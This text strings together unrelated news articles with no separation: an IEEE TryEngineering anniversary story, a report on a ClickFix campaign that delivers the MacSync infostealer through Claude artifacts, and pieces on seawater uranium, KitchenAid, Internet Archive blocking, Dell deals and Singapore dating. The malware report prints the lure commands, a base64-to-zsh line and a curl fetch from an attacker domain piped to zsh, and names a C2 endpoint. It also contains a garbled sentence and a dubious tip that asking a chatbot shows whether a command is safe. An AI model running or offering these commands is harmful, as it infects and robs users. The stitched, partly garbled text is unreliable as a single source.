IEEE TryEngineering is celebrating 20 years of empowering educators with resources that introduce engineering to students at an early age. Launched in 2006 as a collaboration between IEEE, IBM, and the New York Hall of Science (NYSCI), TryEngineering began with a clear goal: Make engineering accessible, understandable, and engaging for students and the teachers who support them.

What started as an idea within IEEE Educational Activities has grown into a global platform supporting preuniversity engineering education around the world.

Concerns about the future

In the early 2000s, engineering was largely absent from preuniversity education, typically being taught only in small, isolated programs. Most students had little exposure to the many types of engineering, and they did not learn what engineers actually do.

At the same time, industry and academic leaders were increasingly concerned about the future of engineering as a whole. They worried about the talent pipeline and saw existing outreach efforts as scattered and inconsistent.

In 2004 representatives from several electrical and computer engineering industries met with IEEE leadership and expressed their concerns about the declining number of students interested in engineering careers. They urged IEEE to organize a more effective, coordinated response to unite professional societies, educators, and industry around a shared approach to preuniversity outreach and education.

One of the major recommendations to come out of that meeting was to start teaching youngsters about engineering earlier. Research from the U.S. National Academy of Engineering at the time showed that students begin forming attitudes toward science, technology, engineering, and math fields from ages 5 to 10, and that outreach should begin as early as kindergarten. Waiting until the teen years or university-level education is simply too late, they determined; it needs to happen during the formative years to spark long-term interest in STEM learning.

The idea behind the website

TryEngineering emerged from the broader Launching Our Children’s Path to Engineering initiative, which was approved in 2005 by the IEEE Board of Directors. A core element of the IEEE program was a public-facing website that would introduce young learners to engineering projects, roles, and careers. The concept eventually developed into TryEngineering.org.

The idea for TryEngineering.org itself grew from an existing, successful model. The NYSCI operated TryScience.org, a popular public website supported by IBM that helped students explore science topics through hands-on activities and real‑world connections.

At the time, the IEEE Educational Activities group was working with the NYSCI on TryScience projects. Building a parallel site focused on engineering was a natural next step, and IBM’s experience in supporting large‑scale educational outreach made it a strong partner.

A central figure in turning that vision into reality was Moshe Kam, who served as the 2005–2007 IEEE Educational Activities vice president, and later as the 2011 IEEE president. During his tenure, Kam spearheaded the creation of TryEngineering.org and guided the international expansion of IEEE’s Teacher In‑Service Program, which trained volunteers to work directly with teachers to create hands-on engineering lessons (the program no longer exists). His leadership helped establish preuniversity education as a core, long‑term priority within IEEE.

“The founders of the IEEE TryEngineering program created something very special. In a world where the messaging about becoming an engineer often scares students who have not yet developed math skills away from our profession, and preuniversity teachers without engineering degrees have trepidation in teaching topics in our fields of interest, people like Dr. Kam and the other founders had a vision where everyone could literally try engineering,” says Jamie Moesch, IEEE Educational Activities managing director.

“Because of this, teachers have now taught millions of our hands-on lessons and opened our profession to so many more young minds,” he adds. “All of the preuniversity programs we have continued to build and improve upon are fueled by this massively important and simple-to-understand concept of try engineering.”

A focus on educators

From the beginning, TryEngineering focused on educators as the keys to its success, rather than starting with students. Instead of complex technical explanations, the platform offered free, classroom-ready lesson plans with clear explanations about engineering fields and examples with which students could relate. Hands-on activities emphasized problem‑solving, creativity, and teamwork—core elements of how engineers actually work.

IEEE leaders also recognized that misconceptions about engineering discouraged many talented young people—particularly girls and students from underrepresented groups—from pursuing engineering as a career. TryEngineering aimed to show engineering as practical, creative, and connected to real-world needs, helping students see that engineering could be for anyone, not just a narrow group of specialists.

By simply encouraging students and educators to just try engineering, doors are open to new possibilities and a broader understanding of the field. Even students who ultimately choose other career paths get to learn key concepts, such as the engineering design process, equipping them with practical skills for the rest of their life.

Outreach programs and summer camps

During the past two decades, TryEngineering has grown well beyond its original website. In addition to providing a vast library of lesson plans and resources that engage and inspire, it also serves as the hub for a collection of programs reaching educators and students in many ways.

Those include the TryEngineering STEM Champions program, which empowers dedicated volunteers to support outreach programs and serve as vital connectors to IEEE’s extensive resources. The TryEngineering Summer Institute offers immersive campus‑based experiences for students ages 13 to 17, with expanded locations and programs being introduced this year.

The IEEE STEM Summit is an annual virtual event that brings together educators and volunteers from around the world. TryEngineering OnCampus partners with universities around the globe to organize hands-on programs. TryEngineering educator sessions provide free professional development programs aligned with emerging industry needs such as semiconductors.

20 ways to celebrate 20 years

To mark its 20th anniversary, TryEngineering is celebrating with a year of special activities, new partnerships, and fresh resources for educators. Visit the TryEngineering 20th Anniversary collection page to explore what’s ahead, join the celebration, and discover 20 ways to celebrate 20 years of inspiring the next generation of technology innovators. This is an opportunity to reflect on how far the program has come, and to help shape how the next generation discovers engineering.

“The passion and dedication of the thousands of volunteers of IEEE who do local outreach enables the IEEE-wide goal to inspire intellectual curiosity and invention to engage the next generation of technology innovators,” Moesch says. “The first 20 years have been special, and I cannot wait to have the world experience what the future holds for the TryEngineering programs.”

Threat actors are abusing Claude artifacts and Google Ads in ClickFix campaigns that deliver infostealer malware to macOS users searching for specific queries.

At least two variants of the malicious activity have been observed in the wild, and more than 10,000 users have accessed the content with dangerous instructions.

A Claude artifact is content generated with Antropic’s LLM that has been made public by the author. It can be anything from instructions, guides, chunks of code, or other types of output that are isolated from the main chat and accessible to anyone via links hosted on the claude.ai domain.

An artifact’s page warns users that the shown content was generated by the user and has not been verified for accuracy.

Researchers at MacPaw’s investigative division, Moonlock Lab, and at ad-blocking company AdGuard noticed the malicious search results being displayed for multiple queries, like “online DNS resolver,” “macOS CLI disk space analyzer,” and “HomeBrew.”

Malicious results promoted on Google Search lead to either a public Claude artifact or a Medium article impersonating Apple Support. In both cases, the user is instructed to paste a shell command into Terminal.

• In the first variant of the attack, the command given for execution is: ‘echo "..." | base64 -D | zsh,’
• while in the second, it’s: ‘true && cur""l -SsLfk --compressed "https://raxelpak[.]com/curl/[hash]" | zsh’.

Moonlock researchers discovered that the malicious Claude guide has already received at least 15,600 views, which could be an indication of the number of users falling for the trick.

AdGuard researchers observed the same guide a few days earlier, when it had 12,300 views.

Running the command in Terminal fetches a malware loader for the MacSync infostealer, which exfiltrates sensitive information present on the system. 

According to the researchers, the malware establishes communication with the command-and-control (C2) infrastructure using a hardcoded token and API key, and spoofs a macOS browser user-agent to blend into normal activity.

“The response is piped directly to osascript – the AppleScript handles the actual stealing (keychain, browser data, crypto wallets),” the researchers say.

The stolen data is packaged into an archive at ‘/tmp/osalogging.zip,’ and then exfiltrated to the attacker’s C2 at a2abotnet[.]com/gate via an HTTP POST request. In case of failure, the archive is split into smaller chunks, and exfiltration is retried eight times. After a successful upload, a cleanup step deletes all traces.

MoonLock Lab found that both variants fetch the second stage from the same C2 address, indicating that the same threat actor is behind the observed activity.

A similar campaign leveraged the chat sharing feature in ChatGPT and Grok to deliver the AMOS infostealer. In December 2025, researchers found the promoted  after researchers found ChatGPT and Grok conversations were being leveraged in ClickFix attacks targeting Mac users.

The Claude variation of the attack indicates that abuse has expanded to other large language models (LLMs).

Users are recommended to exert caution and avoid executing in Terminal commands they don’t fully understand. As Kaspersky researchers noted in the past, asking the chatbot in the same conversation about the safety of the provided commands is a straightforward way to determine if they’re safe or not.

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• China successfully extracted kilogram-level uranium from seawater under real marine conditions
• Oceans contain far more uranium than all known land-based deposits combined
• Seawater uranium concentration is extremely low, making recovery technically demanding

Chinese scientists have revealed successful kilogram-scale uranium extraction from seawater under real marine conditions, a milestone which moves the concept beyond laboratory testing.

The announcement came through state-linked nuclear institutions, and was tied to the operation of a dedicated offshore test platform in the South China Sea.

KitchenAid has revealed Spearmint as its official Colour of the Year for 2026, introducing a pastel green finish that will appear across select appliances and shape the brand’s design direction over the coming months.

The company applies its annual colour selection to highlight shifting consumer preferences in kitchen design, often aligning small appliance aesthetics with broader interior trends that emphasise softness and muted tones.

Spearmint launches on the KitchenAid Artisan Series 5-Quart Tilt-Head Stand Mixer, which is now available in the new finish with a list price of $549.99 / £699.

Unlike last year’s Butter shade, which featured a subtle sheen, Spearmint uses what KitchenAid describes as a sandy, tactile finish that contrasts with the brushed stainless steel mixing bowl.

from the our-digital-history dept

Last fall, I wrote about how the fear of AI was leading us to wall off the open internet in ways that would hurt everyone. At the time, I was worried about how companies were conflating legitimate concerns about bulk AI training with basic web accessibility. Not surprisingly, the situation has gotten worse. Now major news publishers are actively blocking the Internet Archive—one of the most important cultural preservation projects on the internet—because they’re worried AI companies might use it as a sneaky “backdoor” to access their content.

This is a mistake we’re going to regret for generations.

Nieman Lab reports that The Guardian, The New York Times, and others are now limiting what the Internet Archive can crawl and preserve:

When The Guardian took a look at who was trying to extract its content, access logs revealed that the Internet Archive was a frequent crawler, said Robert Hahn, head of business affairs and licensing. The publisher decided to limit the Internet Archive’s access to published articles, minimizing the chance that AI companies might scrape its content via the nonprofit’s repository of over one trillion webpage snapshots.

Specifically, Hahn said The Guardian has taken steps to exclude itself from the Internet Archive’s APIs and filter out its article pages from the Wayback Machine’s URLs interface. The Guardian’s regional homepages, topic pages, and other landing pages will continue to appear in the Wayback Machine.

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The Times has gone even further:

The New York Times confirmed to Nieman Lab that it’s actively “hard blocking” the Internet Archive’s crawlers. At the end of 2025, the Times also added one of those crawlers — archive.org_bot — to its robots.txt file, disallowing access to its content.

“We believe in the value of The New York Times’s human-led journalism and always want to ensure that our IP is being accessed and used lawfully,” said a Times spokesperson. “We are blocking the Internet Archive’s bot from accessing the Times because the Wayback Machine provides unfettered access to Times content — including by AI companies — without authorization.”

I understand the concern here. I really do. News publishers are struggling, and watching AI companies hoover up their content to train models that might then, in some ways, compete with them for readers is genuinely frustrating. I run a publication myself, remember.

But blocking the Internet Archive isn’t going to stop AI training. What it will do is ensure that significant chunks of our journalistic record and historical cultural context simply… disappear.

And that’s bad.

The Internet Archive is the most famous nonprofit digital library, and has been operating for nearly three decades. It isn’t some fly-by-night operation looking to profit off publisher content. It’s trying to preserve the historical record of the internet—which is way more fragile than most people comprehend. When websites disappear—and they disappear constantly—the Wayback Machine is often the only place that content still exists. Researchers, historians, journalists, and ordinary citizens rely on it to understand what actually happened, what was actually said, what the world actually looked like at a given moment.

In a digital era when few things end up printed on paper, the Internet Archive’s efforts to permanently preserve our digital culture are essential infrastructure for anyone who cares about historical memory.

And now we’re telling them they can’t preserve the work of our most trusted publications.

Think about what this could mean in practice. Future historians trying to understand 2025 will have access to archived versions of random blogs, sketchy content farms, and conspiracy sites—but not The New York Times. Not The Guardian. Not the publications that we consider the most reliable record of what’s happening in the world. We’re creating a historical record that’s systematically biased against quality journalism.

Yes, I’m sure some will argue that the NY Times and The Guardian will never go away. Tell that to the readers of the Rocky Mountain News, which published for 150 years before shutting down in 2009, or to the 2,100+ newspapers that have closed since 2004. Institutions—even big, prominent, established ones—don’t necessarily last.

As one computer scientist quoted in the Nieman piece put it:

“Common Crawl and Internet Archive are widely considered to be the ‘good guys’ and are used by ‘the bad guys’ like OpenAI,” said Michael Nelson, a computer scientist and professor at Old Dominion University. “In everyone’s aversion to not be controlled by LLMs, I think the good guys are collateral damage.”

That’s exactly right. In our rush to punish AI companies, we’re destroying public goods that serve everyone.

The most frustrating bit of all of this: The Guardian admits they haven’t actually documented AI companies scraping their content through the Wayback Machine. This is purely precautionary and theoretical. They’re breaking historical preservation based on a hypothetical threat:

The Guardian hasn’t documented specific instances of its webpages being scraped by AI companies via the Wayback Machine. Instead, it’s taking these measures proactively and is working directly with the Internet Archive to implement the changes.

And, of course, as one of the “good guys” of the internet, the Internet Archive is willing to do exactly what these publishers want. They’ve always been good about removing content or not scraping content that people don’t want in the archive. Sometimes to a fault. But you can never (legitimately) accuse them of malicious archiving (even if music labels and book publishers have).

Either way, we’re sacrificing the historical record not because of proven harm, but because publishers are worried about what might happen. That’s a hell of a tradeoff.

This isn’t even new, of course. Last year, Reddit announced it would block the Internet Archive from archiving its forums—decades of human conversation and cultural history—because Reddit wanted to monetize that content through AI licensing deals. The reasoning was the same: can’t let the Wayback Machine become a backdoor for AI companies to access content Reddit is now selling. But once you start going down that path, it leads to bad places.

The Nieman piece notes that, in the case of USA Today/Gannett, it appears that there was a company-wide decision to tell the Internet Archive to get lost:

In total, 241 news sites from nine countries explicitly disallow at least one out of the four Internet Archive crawling bots.

Most of those sites (87%) are owned by USA Today Co., the largest newspaper conglomerate in the United States formerly known as Gannett. (Gannett sites only make up 18% of Welsh’s original publishers list.) Each Gannett-owned outlet in our dataset disallows the same two bots: “archive.org_bot” and “ia_archiver-web.archive.org”. These bots were added to the robots.txt files of Gannett-owned publications in 2025.

Some Gannett sites have also taken stronger measures to guard their contents from Internet Archive crawlers. URL searches for the Des Moines Register in the Wayback Machine return a message that says, “Sorry. This URL has been excluded from the Wayback Machine.”

A Gannett spokesperson told NiemanLab that it was about “safeguarding our intellectual property” but that’s nonsense. The whole point of libraries and archives is to preserve such content, and they’ve always preserved materials that were protected by copyright law. The claim that they have to be blocked to safeguard such content is both technologically and historically illiterate.

And here’s the extra irony: blocking these crawlers may not even serve publishers’ long-term interests. As I noted in my earlier piece, as more search becomes AI-mediated (whether you like it or not), being absent from training datasets increasingly means being absent from results. It’s a bit crazy to think about how much effort publishers put into “search engine optimization” over the years, only to now block the crawlers that feed the systems a growing number of people are using for search. Publishers blocking archival crawlers aren’t just sacrificing the historical record—they may be making themselves invisible in the systems that increasingly determine how people discover content in the first place.

The Internet Archive’s founder, Brewster Kahle, has been trying to sound the alarm:

“If publishers limit libraries, like the Internet Archive, then the public will have less access to the historical record.”

But that warning doesn’t seem to be getting through. The panic about AI has become so intense that people are willing to sacrifice core internet infrastructure to address it.

What makes this particularly frustrating is that the internet’s openness was never supposed to have asterisks. The fundamental promise wasn’t “publish something and it’s accessible to all, except for technologies we decide we don’t like.” It was just… open. You put something on the public web, people can access it. That simplicity is what made the web transformative.

Now we’re carving out exceptions based on who might access content and what they might do with it. And once you start making those exceptions, where do they end? If the Internet Archive can be blocked because AI companies might use it, what about research databases? What about accessibility tools that help visually impaired users? What about the next technology we haven’t invented yet?

This is a real concern. People say “oh well, blocking machines is different from blocking humans,” but that’s exactly why I mention assistive tech for the visually impaired. Machines accessing content are frequently tools that help humans—including me. I use an AI tool to help fact check my articles, and part of that process involves feeding it the source links. But increasingly, the tool tells me it can’t access those articles to verify whether my coverage accurately reflects them.

I don’t have a clean answer here. Publishers genuinely need to find sustainable business models, and watching their work get ingested by AI systems without compensation is a legitimate grievance—especially when you see how much traffic some of these (usually less scrupulous) crawlers dump on sites. But the solution can’t be to break the historical record of the internet. It can’t be to ensure that our most trusted sources of information are the ones that disappear from archives while the least trustworthy ones remain.

We need to find ways to address AI training concerns that don’t require us to abandon the principle of an open, preservable web. Because right now, we’re building a future where historians, researchers, and citizens can’t access the journalism that documented our era. And that’s not a tradeoff any of us should be comfortable with.

Filed Under: ai, archives, culture, libraries, scanning, scraping

Companies: internet archive, ny times, the guardian, usa today

Dell’s running a superb Presidents’ Day sale right now – and I’ve been browsing the desktop and laptop deals to find some top picks for business professionals.

For general productivity, you can’t go wrong with the Dell 15 Laptop, now $499.99 (was $719.99). Although there’s forever a place in my heart for the ultra-lightweight XPS 13 that’s also in the sale. It’s so good, it’s long been part of my best business laptop guide.

On the desktop side, the Dell 24 All-in-One gets a nice price-cut down to $749.99 (was $969.99), and it’s a solid productivity machine for the office or home office. But I’ve included a range of more performance-driven machines for those who need extra power. Check them out below.

As ever with most Dell deals, you can re-configure these machines to get the specs you need to match your workflow.

Best Dell laptop deals

Best Dell desktop PC deals

Singaporeans are now chasing experiences, not swipes

In May 2025, several Singaporean singles boarded a group trip to Japan together—but it wasn’t their usual holiday.

Not knowing each other’s age, occupation, or relationship history, participants were paired on daily “dates,” wrote anonymous letters to those who caught their eye, and completed mini couple missions designed to spark connection.

Like contestants on dating show Single’s Inferno, they shared rooms with others of the same gender, navigating growing crushes, shifting dynamics, and the occasional emotional revelation.

This is Until 11:11, a Singapore-based dating and social experience platform that runs curated overseas trips and singles mixers. And it’s part of a movement of experience-driven matchmaking that’s gaining traction as more Singaporeans grow fatigued with traditional dating apps.

Not your usual matchmaking experiences

At Until 11:11’s overseas singles trips, participants get to know each other over the course of four to six days. There is a focus on numerology (a practice that offers insights into personality, compatibility, and life tendencies based on an individual’s birthdate and name), apart from a mix of structured activities and free-form socialising.

After all, the platform—whose name nods to the angel number 1111, often associated with major life changes—was built around the idea of transformation and connection, explained Ching Ling Leo, the co-founder of the business.

Ching Ling, a 25-year-old student at the Nanyang Academy of Fine Arts, runs Until 11:11 together with business owner Ric Ang, 50. The pair met when Ching Ling interned at a company where Ric was working, and began hosting numerology-themed singles events in Singapore in 2024.

Until 11:11’s local parties, held once every two to three months with about 30 participants, offer compatibility readings, tarot sessions, and even crystal-making workshops, giving attendees a unique lens into themselves and others.

The platform takes it a step further with its curated overseas trips. Launched last year, these experiences are amplified beyond the confines of a typical singles mixer, and demand appears strong, too.

To date, Until 11:11 has organised seven groups of singles trips, typically in groups of less than 20, to destinations including Vietnam and East Malaysia, despite prices reaching up to S$1,800 per participant.

Overseas singles trips are not the only experiential dating concept on the rise in Singapore. Across the city-state, Fishbowl offers a different take: a “Shark Tank–style” singles pitch night.

Here, participants spend an evening putting themselves—or their friends—on stage in three-minute pitches. “The idea is simple—put together your best three-minute PowerPoint presentation (or a pitch in any other format), show up and present it, and mingle afterwards to get to know new people,” shared Joell Tee, the 28-year-old behind the initiative.

Joell started Fishbowl together with a friend after coming across a similar event held in Vietnam via TikTok. Initially, the duo hosted a small gathering for friends and friends of friends, but the concept quickly caught on, eventually drawing the attention of brands and larger audiences.

Since the first in Aug 2024, Joell has held four Fishbowl sessions, collaborating with brands such as Oatly and Coffee Meets Bagel to bring together singles and friends in a lively, interactive setting that can host up to 100 participants per event.

The work behind curated matchmaking

However, events such as these are far from easy to organise. Overseas trips, in particular, come with a host of logistical complexities.

To handle the details, Until 11:11 partners with I Quadrant Travel Agency, which takes care of travel arrangements and on-the-ground logistics. Each trip is also planned at least six months in advance to ensure they run as smoothly as possible.

There’s also the matter of safety and vetting participants. To sign up for an Until 11:11 trip, potential attendees fill out a Google form, which allows the organisers to handpick participants. Applicants are asked to include a social media handle with a visible photo, along with a brief explanation of why they would be a good fit for the trip.

Invitations are then sent to participants deemed suitable. “The selection process and invitation sending are manual and time-consuming,” said Ching Ling, adding that overseas trips are often scheduled back-to-back with local singles events, leaving little time for rest.

Until 11:11 isn’t the only platform taking a curated approach to modern dating. Teddy Lounge, a private, invite-only dating app, operates more like a members’ club than a typical matchmaking platform—and that means more work for founder Nam Soeun.

Every applicant is screened before being admitted. Profiles are reviewed manually, background details are assessed, and shortlisted candidates may even go through interviews to determine suitability. Soeun enlists a handful of “managers” to help with this process—they not only review applications, but also personally deliver physical invitation cards to suitable applicants and explain how Teddy Lounge works.

Memberships hinge on a “medal” system. These medals certify certain traits or achievements, and can include high income (minimum S$100K annually, verified via payslips or tax documents), ownership of prime properties, academic excellence, or social influence.

Prospective members need at least one medal to gain access. According to Soeun, the medals aren’t meant to rank or judge members—they simply set expectations up front, reducing awkward early-stage questions and making connections more transparent from the start.

Currently, Teddy Lounge is in pre-launch, with around 500 early users already onboarded, according to its website. Soeun shared that members appreciate the platform as a space for “more natural, meaningful connections, romantic or otherwise.” The app is scheduled for an official launch in early 2026, pending final testing and refinements.

Finding meaningful connections isn’t a sure shot

Though more are turning to these platforms, finding meaningful connections isn’t a sure shot—however, the intentional approach may improve the odds.

On Teddy Lounge, users can unlock just three profiles per day—a deliberate limit to encourage “slower, more thoughtful” engagement. For those who don’t find a match right away, the app offers other ways to connect.

Its “Party” page, for instance, lets members share or join interest-based social activities. “Some users have met through activities like poker nights on the Party page and became friends rather than romantic matches,” shared Soeun.

As for Until 11:11, most participants become good friends and remain in contact long after, shared Ching Ling. Some form couples, others may not fully connect with the group, but still “leave with a stronger understanding of themselves.”

Initially, Ching Ling and Ric measured success by how many couples formed at their events. But it was soon clear that this metric couldn’t capture the full impact of the experiences.

Even if people are together now, they might part ways in the future. There’s no real way to gauge whether it’s “good” that two people got together, only that their meeting was fated.

Ching Ling Leo, co-founder of Until 11:11

On a more tangible level, she shared that success could be seen as customer satisfaction, like “seeing participants having fun or hanging out,” but those moments are “fleeting.”

“Now, we see success as when participants are able to fully open themselves to the experience, embracing all their emotions and walking away feeling that they’ve learned something about themselves or life.”

Could this mark the end of traditional dating apps?

When asked about dating trends in Singapore, Ching Ling observed that there has been “a lot of singles mixers” popping up over the last few months. To her, it signals a “growing desire for real connections beyond screens.”

While the surge inevitably brings more competition for Until 11:11, she believes it’s ultimately positive for Singapore’s dating scene. Different platforms can cater to different audiences and intentions—a contrast to traditional dating apps, where users are often part of a wide, generic pool.

For many of these app users, the experience is tiring and frustrating: mismatched intentions, undefined relationships, and endless dead-end texting. Curated experiences can cut through that noise.

But not everyone sees the rise of curated experiences as a rejection of traditional dating apps.

Joell, the founder of Fishbowl, views them instead as a complement to the online dating experience. “I still believe that apps are an incredibly helpful tool to help you connect with people,” she said.

In a recent collaboration with Coffee Meets Bagel, Fishbowl tapped into the app’s user base to drive attendance at its pitch-style singles event, showing how digital and offline dating experiences can reinforce each other.

The goals of apps and in-person events are the same: put yourself out there, be open-minded and make connections.

Joell Tee, co-founder of Fishbowl

Ultimately, it’s about creating opportunities for people to engage in ways that feel authentic to them—whether that’s through a screen, in a curated group setting, or both.

• Read other articles we’ve written on Singaporean businesses here.

Featured Image Credit: Until 11:11/ Fishbowl